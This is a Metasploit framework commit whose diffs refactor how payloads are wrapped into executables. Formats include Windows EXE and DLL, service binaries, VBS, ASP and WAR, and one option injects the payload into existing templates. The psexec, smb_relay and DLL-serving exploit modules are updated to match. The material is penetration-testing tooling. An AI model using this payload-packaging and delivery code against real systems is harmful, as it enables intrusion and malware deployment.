big exe/dll update, see #2017

NOTE: These changes specifically affect payload encoding via RPC, "use
payload", and msfencode

1. consolidate user-specified exe generation routine (now
Msf::Util::EXE.to_executable_fmt)
2. supported format types are now queried/checked using arrays
3. cleaned up and standardized exe option passing
4. rename data store options for EXE mixin
5. add generate_payload_exe_service for psexec/smb_relay
6. reworked default template handling in Msf::Util::EXE
  a. added template search path option (not used if template includes
a path separator)
  b. "fallback" flag to enable using default if specified file doesn't
exist
7. added Msf::Util::EXE.to_win64pe_dll
8. improved error messages from exe generation



git-svn-id: file:///home/svn/framework3/trunk@10404 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-09-21 00:13:30 +00:00
parent 76b14e5db7
commit 8e5cf31e9a
12 changed files with 381 additions and 237 deletions

View File

@ -1,3 +1,7 @@
##
# $Id$
##
require 'msf/base'
module Msf
@ -19,9 +23,9 @@ module Buffer
def self.transform(buf, fmt = "ruby")
case fmt
when 'raw'
when 'ruby'
when 'ruby', 'rb'
buf = Rex::Text.to_ruby(buf)
when 'perl'
when 'perl', 'pl'
buf = Rex::Text.to_perl(buf)
when 'c'
buf = Rex::Text.to_c(buf)
@ -45,9 +49,9 @@ module Buffer
def self.comment(buf, fmt = "ruby")
case fmt
when 'raw'
when 'ruby'
when 'ruby', 'rb'
buf = Rex::Text.to_ruby_comment(buf)
when 'perl'
when 'perl', 'pl'
buf = Rex::Text.to_perl_comment(buf)
when 'c'
buf = Rex::Text.to_c_comment(buf)
@ -62,6 +66,13 @@ module Buffer
return buf
end
#
# Returns the list of supported formats
#
def self.transform_formats
['raw','ruby','rb','perl','pl','c','js_be','js_le','java']
end
end
end

View File

@ -1,3 +1,7 @@
##
# $Id$
##
require 'msf/base'
module Msf
@ -52,86 +56,66 @@ module Payload
'Space' => opts['MaxSize'])
fmt = opts['Format'] || 'raw'
inject = opts['KeepTemplateWorking'] || false
altexe = opts['Template'] || nil
exeopts = {
:inject => opts['KeepTemplateWorking'],
:template => opts['Template'],
:template_path => opts['ExeDir']
}
arch = payload.arch
plat = opts['Platform'] || payload.platform
# Save off the original payload length
len = e.encoded.length
case fmt
when 'exe'
buf = nil
if(not arch or (arch.index(ARCH_X86)))
buf = Msf::Util::EXE.to_win32pe(framework, e.encoded , {:insert => inject, :template => altexe})
end
output = Msf::Util::EXE.to_executable_fmt(framework, arch, plat, e.encoded, fmt, exeopts)
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
buf = Msf::Util::EXE.to_win64pe(framework, e.encoded, {:insert => inject, :template => altexe})
end
when 'exe-small'
buf = nil
if(not arch or (arch.index(ARCH_X86)))
buf = Msf::Util::EXE.to_win32pe_old(framework, e.encoded)
end
when 'elf'
buf = Msf::Util::EXE.to_linux_x86_elf(framework, e.encoded)
when 'macho'
buf = Msf::Util::EXE.to_osx_x86_macho(framework, e.encoded)
when 'vba'
exe = nil
exe = Msf::Util::EXE.to_win32pe(framework, e.encoded , {:insert => inject, :template => altexe})
buf = Msf::Util::EXE.to_exe_vba(exe)
when 'vbs'
buf = Msf::Util::EXE.to_win32pe_vbs(framework, e.encoded, {:insert => inject, :persist => false, :template => altexe})
when 'loop-vbs'
buf = Msf::Util::EXE.to_win32pe_vbs(framework, e.encoded, {:insert => inject, :persist => true, :template => altexe})
when 'asp'
buf = Msf::Util::EXE.to_win32pe_asp(framework, e.encoded , {:insert => inject, :persist => false, :template => altexe})
when 'war'
plat = Msf::Module::PlatformList.transform(opts['Platform'])
tmp_plat = plat.platforms
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, e.encoded, { :template => altexe})
buf = Msf::Util::EXE.to_jsp_war(exe, {:persist => false })
else
if not output
# Serialize the generated payload to some sort of format
buf = Buffer.transform(e.encoded, fmt)
fmt ||= "ruby"
output = Buffer.transform(e.encoded, fmt)
# Prepend a comment
if (fmt != 'raw' and opts['NoComment'] != true)
((ou = payload.options.options_used_to_s(payload.datastore)) and ou.length > 0) ? ou += "\n" : ou = ''
buf = Buffer.comment(
"#{payload.refname} - #{len} bytes#{payload.staged? ? " (stage 1)" : ""}\n" +
"http://www.metasploit.com\n" +
((e.encoder) ? "Encoder: #{e.encoder.refname}\n" : '') +
((e.nop) ? "NOP gen: #{e.nop.refname}\n" : '') +
"#{ou}",
fmt) + buf
output =
Buffer.comment(
"#{payload.refname} - #{len} bytes#{payload.staged? ? " (stage 1)" : ""}\n" +
"http://www.metasploit.com\n" +
((e.encoder) ? "Encoder: #{e.encoder.refname}\n" : '') +
((e.nop) ? "NOP gen: #{e.nop.refname}\n" : '') +
"#{ou}",
fmt) +
output
# If it's multistage, include the second stage too
if payload.staged?
stage = payload.generate_stage
# If a stage was generated, then display it
if stage and stage.length > 0
buf +=
output +=
"\n" +
Buffer.comment(
"#{payload.refname} - #{stage.length} bytes (stage 2)\n" +
"http://www.metasploit.com\n",
fmt) + Buffer.transform(stage, fmt)
"#{payload.refname} - #{stage.length} bytes (stage 2)\n" +
"http://www.metasploit.com\n",
fmt) +
Buffer.transform(stage, fmt)
end
end
end
end
end
return buf
# How to warn?
#if exeopts[:fellback]
# $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}")
#end
return output
end
#

View File

@ -16,24 +16,22 @@ module Exploit::EXE
register_advanced_options(
[
OptString.new( 'EXETEMPLATE', [ false, 'The executable template file name.' ]),
OptBool.new( 'EXEINJECT', [ false, 'Set to preserve the original EXE function' ])
OptString.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]),
OptString.new( 'EXE::Template', [ false, 'The executable template file name.' ]),
OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]),
OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ])
], self.class)
end
def generate_payload_exe(opts = {})
if (altexe = datastore['EXETEMPLATE'])
opts.merge!({ :template => altexe })
end
if (datastore['EXEINJECT'])
opts.merge!({ :inject => true })
end
exe_init_datastore(opts)
# Prefer the target's platform/architecture information, but use
# the module's if no target specific information exists
lplat ||= target_platform
lplat ||= platform
larch ||= opts[:arch]
larch ||= target_arch
larch ||= arch
@ -55,7 +53,60 @@ module Exploit::EXE
pl = opts[:code]
pl ||= payload.encoded
Msf::Util::EXE.to_executable(framework, larch, lplat, pl, opts)
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, pl, opts)
exe_post_generation(opts)
exe
end
def generate_payload_exe_service(opts = {})
exe_init_datastore(opts)
# NOTE: Only Windows is supported here.
pl = opts[:code]
pl ||= payload.encoded
if opts[:arch] and opts[:arch] == ARCH_X64
exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts)
else
exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts)
end
exe_post_generation(opts)
exe
end
def generate_payload_dll(opts = {})
exe_init_datastore(opts)
# NOTE: Only Windows is supported here.
pl = opts[:code]
pl ||= payload.encoded
if opts[:arch] and opts[:arch] == ARCH_X64
dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts)
else
dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts)
end
exe_post_generation(opts)
dll
end
protected
def exe_init_datastore(opts)
opts.merge!(
{
:template_path => datastore['EXE::Path'],
:template => datastore['EXE::Template'],
:inject => datastore['EXE::Inject'],
:fallback => datastore['EXE::FallBack']
})
end
def exe_post_generation(opts)
if (opts[:fellback])
print_status("Warning: Falling back to default template: #{opts[:fellback]}")
end
end
end

View File

@ -1,3 +1,7 @@
##
# $Id$
##
module Msf
module RPC
class Module < Base
@ -141,87 +145,66 @@ class Module < Base
authenticate(token)
buf = Rex::Text.decode_base64(data)
fmt = options['format']
if (options['format'] and options['format'] =~ /^(perl|ruby|rb|raw|c|js_le|js_be|java|dll|exe|exe-small|elf|vba|vbs|loop-vbs|asp|war|macho)$/)
fmt = options['format']
elsif options['format']
raise ::XMLRPC::FaultException.new(500, "failed to generate: invalid format")
# Load supported formats
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
if (fmt = options['format'])
if not supported_formats.include?(fmt)
raise ::XMLRPC::FaultException.new(500, "failed to generate: invalid format: #{fmt}")
end
end
badchars = ''
if options['badchars']
badchars = Rex::Text.hex_to_raw(options['badchars'])
end
plat = nil
if options['plat']
plat = Msf::Module::PlatformList.transform(val)
end
inject = false
if options['inject']
altexe = true
end
altexe = nil
if options['altexe']
altexe = options['altexe']
end
arch = nil
if options['arch']
arch = options['arch']
end
ecount = 1
if options['ecount']
ecount = options['ecount'].to_i
end
exeopts = {
:inject => options['inject'],
:template => options['altexe'],
:template_path => options['exedir']
}
enc = $framework.encoders.create(encoder)
begin
# Imports options
enc.datastore.update(options)
eout = buf.dup
raw = nil
output = nil
1.upto(ecount) do |iteration|
# Encode it up
raw = enc.encode(eout, badchars, nil, plat)
end
case fmt
when 'dll'
output = Msf::Util::EXE.to_win32pe_dll($framework, raw)
when 'exe'
if(not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
end
output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts)
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_win64pe($framework, raw, {:insert => inject, :template => altexe})
end
when 'exe-small'
if(not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe_old($framework, raw)
end
when 'elf'
output = Msf::Util::EXE.to_linux_x86_elf($framework, raw)
when 'macho'
output = Msf::Util::EXE.to_osx_x86_macho($framework, raw)
when 'vba'
exe = Msf::Util::EXE.to_win32pe($framework, raw, {:insert => inject, :template => altexe})
output = Msf::Util::EXE.to_exe_vba(exe)
when 'vbs'
vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => false, :template => altexe})
output = vbs
when 'loop-vbs'
output = Msf::Util::EXE.to_win32pe_vbs($framework, raw, {:insert => inject, :persist => true, :template => altexe})
when 'asp'
output = Msf::Util::EXE.to_win32pe_asp($framework, raw, {:insert => inject, :persist => false, :template => altexe})
when 'war'
tmp_plat = plat.platforms
exe = Msf::Util::EXE.to_executable($framework, arch, tmp_plat, raw, { :template => altexe})
output = Msf::Util::EXE.to_jsp_war(exe, { :persist => false })
else
if not output
fmt ||= "ruby"
output = Msf::Simple::Buffer.transform(raw, fmt)
end
# How to warn?
#if exeopts[:fellback]
# $stderr.puts(OutError + "Warning: Falling back to default template: #{exeopts[:fellback]}")
#end
{"encoded" => Rex::Text.encode_base64(output.to_s)}
rescue => e
raise ::XMLRPC::FaultException.new(500, "#{enc.refname} failed: #{e} #{e.backtrace}")

View File

@ -1,3 +1,7 @@
##
# $Id$
##
require 'rex/parser/arguments'
module Msf
@ -14,6 +18,9 @@ class Payload
include Msf::Ui::Console::ModuleCommandDispatcher
# Load supported formats
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
@@generate_opts = Rex::Parser::Arguments.new(
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
"-E" => [ false, "Force encoding." ],
@ -22,8 +29,7 @@ class Payload
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
"-s" => [ true, "NOP sled length." ],
"-f" => [ true, "The output file name (otherwise stdout)" ],
"-t" => [ true, "The output type: c, elf, exe, java, js_le, js_be, " +
" perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho." ],
"-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
"-p" => [ true, "The Platform for output." ],
"-k" => [ false, "Keep the template executable functional" ],
"-x" => [ true, "The executable template to use" ],

View File

@ -23,6 +23,45 @@ require 'rex/pescan'
require 'rex/zip'
require 'metasm'
##
#
# Helper functions common to multiple generators
#
##
def self.set_template_default(opts, exe = nil, path = nil)
# If no path specified, use the default one.
path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates")
# If there's no default name, we must blow it up.
if not exe
raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!'
end
# Use defaults only if nothing is specified
opts[:template_path] ||= path
opts[:template] ||= exe
# Only use the path when the filename contains no separators.
if not opts[:template].include?(File::SEPARATOR)
opts[:template] = File.join(opts[:template_path], opts[:template])
end
# Check if it exists now
return if File.file?(opts[:template])
# If it failed, try the default...
if opts[:fallback]
default_template = File.join(path, exe)
if File.file?(default_template)
# Perhaps we should warn about falling back to the default?
opts.merge!({ :fellback => default_template })
opts[:template] = default_template
end
end
end
##
#
# Executable generators
@ -78,7 +117,7 @@ require 'metasm'
def self.to_win32pe(framework, code, opts={})
# Allow the user to specify their own EXE template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows.exe")
set_template_default(opts, "template_x86_windows.exe")
# Copy the code to a new RWX segment to allow for self-modifying encoders
payload = win32_rwx_exec(code)
@ -170,7 +209,7 @@ require 'metasm'
end
if(not text)
raise RuntimeError, "No .text section found in the template_x86_windows.exe"
raise RuntimeError, "No .text section found in the template"
end
if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
@ -247,7 +286,7 @@ require 'metasm'
# Mangle 25% of the original executable
1.upto(block[1] / 4) do
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
end
# Patch the payload and the new entry point into the .text
@ -280,7 +319,7 @@ require 'metasm'
def self.to_win32pe_old(framework, code, opts={})
# Allow the user to specify their own EXE template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows_old.exe")
set_template_default(opts, "template_x86_windows_old.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
@ -296,7 +335,7 @@ require 'metasm'
end
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE OLD EXE template!" if not bo
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, code.length] = code
pe[136, 4] = [rand(0x100000000)].pack('V')
@ -325,7 +364,7 @@ require 'metasm'
def self.to_win64pe(framework, code, opts={})
# Allow the user to specify their own EXE template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows.exe")
set_template_default(opts, "template_x64_windows.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
@ -333,7 +372,7 @@ require 'metasm'
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE EXE template!" if not bo
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, code.length] = code
return pe
@ -344,7 +383,7 @@ require 'metasm'
name = opts[:servicename] || 'SERVICENAME'
# Allow the user to specify their own service EXE template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows_svc.exe")
set_template_default(opts, "template_x86_windows_svc.exe")
pe = ''
File.open(opts[:template], 'rb') { |fd|
@ -352,11 +391,11 @@ require 'metasm'
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE Service EXE template!" if not bo
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid Win32 PE Service EXE template!" if not bo
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
pe[136, 4] = [rand(0x100000000)].pack('V')
@ -367,7 +406,7 @@ require 'metasm'
def self.to_win64pe_service(framework, code, opts={})
# Allow the user to specify their own service EXE template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x64_windows_svc.exe")
set_template_default(opts, "template_x64_windows_svc.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
@ -375,11 +414,11 @@ require 'metasm'
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE Service EXE template!" if not bo
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid Win64 PE Service EXE template!" if not bo
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
pe[136, 4] = [rand(0x100000000)].pack('V')
@ -390,7 +429,7 @@ require 'metasm'
def self.to_win32pe_dll(framework, code, opts={})
# Allow the user to specify their own DLL template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_windows.dll")
set_template_default(opts, "template_x86_windows.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
@ -398,9 +437,31 @@ require 'metasm'
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE DLL template!" if not bo
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
# optional mutex
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
return pe
end
def self.to_win64pe_dll(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x64_windows.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
# optional mutex
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
@ -410,7 +471,7 @@ require 'metasm'
def self.to_osx_arm_macho(framework, code, opts={})
# Allow the user to specify their own template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_armle_darwin.bin")
set_template_default(opts, "template_armle_darwin.bin")
mo = ''
File.open(opts[:template], "rb") { |fd|
@ -418,20 +479,16 @@ require 'metasm'
}
bo = mo.index('PAYLOAD:')
raise RuntimeError, "Invalid OSX ArmLE Mach-O template!" if not bo
raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo
mo[bo, code.length] = code
# Not used?
#co = mo.index('COMMENT:')
#mo[co, comment.length] = comment
return mo
end
def self.to_osx_ppc_macho(framework, code, opts={})
# Allow the user to specify their own template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_ppc_darwin.bin")
set_template_default(opts, "template_ppc_darwin.bin")
mo = ''
File.open(opts[:template], "rb") { |fd|
@ -439,20 +496,16 @@ require 'metasm'
}
bo = mo.index('PAYLOAD:')
raise RuntimeError, "Invalid OSX PPC Mach-O template!" if not bo
raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo
mo[bo, code.length] = code
# Not used?
#co = mo.index('COMMENT:')
#mo[co, comment.length] = comment
return mo
end
def self.to_osx_x86_macho(framework, code, opts={})
# Allow the user to specify their own template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_darwin.bin")
set_template_default(opts, "template_x86_darwin.bin")
mo = ''
File.open(opts[:template], "rb") { |fd|
@ -460,20 +513,16 @@ require 'metasm'
}
bo = mo.index('PAYLOAD:')
raise RuntimeError, "Invalid OSX x86 Mach-O template!" if not bo
raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo
mo[bo, code.length] = code
# Not used?
#co = mo.index('COMMENT:')
#mo[co, comment.length] = comment
return mo
end
def self.to_linux_x86_elf(framework, code, opts={})
# Allow the user to specify their own template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_linux.bin")
set_template_default(opts, "template_x86_linux.bin")
elf = ''
File.open(opts[:template], "rb") { |fd|
@ -499,7 +548,7 @@ require 'metasm'
def self.to_linux_armle_elf(framework, code, opts={})
# Allow the user to specify their own template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_armle_linux.bin")
set_template_default(opts, "template_armle_linux.bin")
elf = ''
File.open(opts[:template], "rb") { |fd|
@ -780,13 +829,13 @@ require 'metasm'
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
web_xml = %q{<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtds/web-app_2_3.dtd">
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtds/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
web_xml.gsub!(/NAME/, app_name)
@ -903,7 +952,7 @@ require 'metasm'
def self.to_dotnetmem(base=0x12340000, data="", opts={})
# Allow the user to specify their own DLL template
opts[:template] ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "dotnetmem.dll")
set_template_default(opts, "dotnetmem.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
@ -1389,6 +1438,76 @@ require 'metasm'
res
end
#
# This routine is shared between msfencode, rpc, and payload modules (use <payload>)
#
# It will return nil if it wasn't able to generate any output.
#
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
output = nil
case fmt
when 'dll'
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts)
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_win64pe_dll(framework, code, exeopts)
end
when 'exe'
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
end
if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_win64pe(framework, code, exeopts)
end
when 'exe-small'
if(not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts)
end
when 'elf'
output = Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts)
when 'macho'
output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts)
when 'vba'
exe = Msf::Util::EXE.to_win32pe(framework, code, exeopts)
output = Msf::Util::EXE.to_exe_vba(exe)
when 'vbs'
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => false }))
when 'loop-vbs'
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true }))
when 'asp'
output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
when 'war'
arch ||= [ ARCH_X86 ]
tmp_plat = plat.platforms if plat
tmp_plat ||= Msf::Module::PlatformList.transform('win')
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
output = Msf::Util::EXE.to_jsp_war(exe)
end
output
end
def self.to_executable_fmt_formats
['dll','exe','exe-small','elf','macho','vba','vbs','loop-vbs','asp','war']
end
end
end
end

View File

@ -18,6 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@ -175,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote
return if ((p = regenerate_payload(cli)) == nil)
# Generate a DLL based on the payload
dll_data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
dll_data = generate_payload_dll({ :code => p.encoded })
# Send it :)
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

View File

@ -18,6 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@ -96,8 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
if (request.uri =~ /\.dll$/i)
print_status "Sending DLL payload #{cli.peerhost}:#{cli.peerport} ..."
return if ((p = regenerate_payload(cli)) == nil)
# Can't use generate_exe from Msf::Exploit::EXE since it can't currently generate dlls :-/
data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
data = generate_payload_dll({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end

View File

@ -106,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote
if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)
print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload")
return if ((p = regenerate_payload(cli)) == nil)
data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
data = generate_payload_dll({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end

View File

@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Auxiliary::Report
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@ -130,18 +131,14 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Uploading payload...")
simple.connect("ADMIN$")
fd = simple.open("\\#{filename}", 'rwct')
exe = ''
opts = { :servicename => servicename }
if (datastore['PAYLOAD'].include? 'x64')
exe = Msf::Util::EXE.to_win64pe_service(framework, payload.encoded,
{
:servicename => servicename
})
else
exe = Msf::Util::EXE.to_win32pe_service(framework, payload.encoded,
{
:servicename => servicename
})
opts.merge!({ :arch => ARCH_X64 })
end
exe = generate_payload_exe_service(opts)
fd << exe
fd.close

View File

@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMBServer
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@ -138,13 +139,25 @@ class Metasploit3 < Msf::Exploit::Remote
# Upload the shellcode to a file
print_status("Uploading payload...")
filename = rand_text_alpha(8) + ".exe"
servicename = rand_text_alpha(8)
fd = rclient.open("\\#{filename}", 'rwct')
fd << Msf::Util::EXE.to_win32pe_service(framework, code.encoded,
{
:servicename => rand_text_alpha(8)
})
exe = ''
opts = {
:servicename => servicename,
:code => code.encoded
}
if (datastore['PAYLOAD'].include? 'x64')
opts.merge!({ :arch => ARCH_X64 })
end
exe = generate_payload_exe_service(opts)
fd << exe
fd.close
print_status("Created \\#{filename}...")
# Disconnect from the ADMIN$

101
msfencode
View File

@ -19,22 +19,32 @@ require 'msf/base'
OutStatus = "[*] "
OutError = "[-] "
# Load supported formats
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
$args = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-l" => [ false, "List available encoders" ],
# input/output
"-i" => [ true, "Encode the contents of the supplied file path" ],
"-m" => [ true, "Specifies an additional module search path" ],
"-o" => [ true, "The output file" ],
# architecture/platform
"-a" => [ true, "The architecture to encode as" ],
"-p" => [ true, "The platform to encode for" ],
"-t" => [ true, "The format to display the encoded buffer with (c, dll, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)" ],
# format options
"-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
# encoder options
"-e" => [ true, "The encoder to use" ],
"-n" => [ false, "Dump encoder information" ],
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
"-s" => [ true, "The maximum size of the encoded data" ],
"-e" => [ true, "The encoder to use" ],
"-o" => [ true, "The output file" ],
"-c" => [ true, "The number of times to encode the data" ],
"-n" => [ false, "Dump encoder information" ],
"-h" => [ false, "Help banner" ],
"-x" => [ true, "Specify an alternate win32 executable template" ],
"-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ],
"-l" => [ false, "List available encoders" ])
# EXE generation options
"-d" => [ true, "Specify the directory in which to look for EXE templates" ],
"-x" => [ true, "Specify an alternate executable template" ],
"-k" => [ false, "Keep template working; run payload in new thread (use with -x)" ]
)
#
# Dump the list of encoders
@ -109,9 +119,11 @@ options = ''
delim = '_|_'
output = nil
ecount = 1
plat = nil
altexe = nil
inject = false
plat = nil
exedir = nil # use default
# Parse the argument and rock that shit.
$args.parse(ARGV) { |opt, idx, val|
@ -140,7 +152,7 @@ $args.parse(ARGV) { |opt, idx, val|
when "-s"
space = val.to_i
when "-t"
if (val =~ /^(perl|ruby|rb|raw|c|js_le|js_be|java|dll|exe|exe-small|elf|vba|vbs|loop-vbs|asp|war|macho)$/)
if supported_formats.include?(val)
fmt = val
else
$stderr.puts(OutError + "Invalid format: #{val}")
@ -150,10 +162,14 @@ $args.parse(ARGV) { |opt, idx, val|
$output = val
when "-e"
encoder = val
when "-d"
exedir = val
when "-x"
altexe = val
when "-k"
inject = true
when "-h"
usage
else
@ -175,6 +191,11 @@ if inject and not altexe
$stderr.puts "[*] Error: the injection option must use a custom EXE template via -x, otherwise the injected payload will immediately exit when the main process dies."
exit(1)
end
exeopts = {
:inject => inject,
:template => altexe,
:template_path => exedir
}
# Initialize the simplified framework instance.
$framework = Msf::Simple::Framework.create(
@ -229,61 +250,19 @@ case cmd
next if skip
case fmt
when 'dll'
dll = nil
dll = Msf::Util::EXE.to_win32pe_dll($framework, raw)
output = Msf::Util::EXE.to_executable_fmt($framework, arch, plat, raw, fmt, exeopts)
write_encoded(dll)
when 'exe'
exe = nil
if(not arch or (arch.index(ARCH_X86)))
